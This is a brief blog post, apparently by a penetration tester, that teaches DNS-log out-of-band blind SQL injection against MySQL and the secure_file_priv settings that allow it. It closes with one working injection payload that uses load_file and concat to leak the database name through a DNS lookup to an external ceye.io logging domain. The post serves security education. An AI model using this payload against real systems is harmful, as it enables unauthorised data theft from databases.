congdong007

Penetration Test、Software Developer

0%

DNS Log Blind SQL Injection

Posted on Edited on In , , ,

Sometimes, when injecting, you may not get direct feedback, or you may not be able to use time-based blind injection. In such cases, you can use out-of-band channels, which means using other protocols or channels, such as HTTP requests, DNS resolution, SMB services, to exfiltrate data. DNS log blind injection can reduce the number of requests sent and achieve injection with direct feedback.

DNS log: It stores domain name information on the DNS server, recording user access information for domains like www.xxx.com.

Conditions for utilization:

  1. secure_file_priv in mysql.ini must be empty.
  2. If secure_file_priv is null, importing and exporting are not allowed.
  3. If secure_file_priv is set to /tmp, importing and exporting can only be done in the /tmp directory.
  4. When secure_file_priv is empty, there are no restrictions, and importing and exporting are allowed.

Example:

1
?id=1' and load_file(concat('\\', (select database()), '.27epx0.ceye.io\abc'))--+"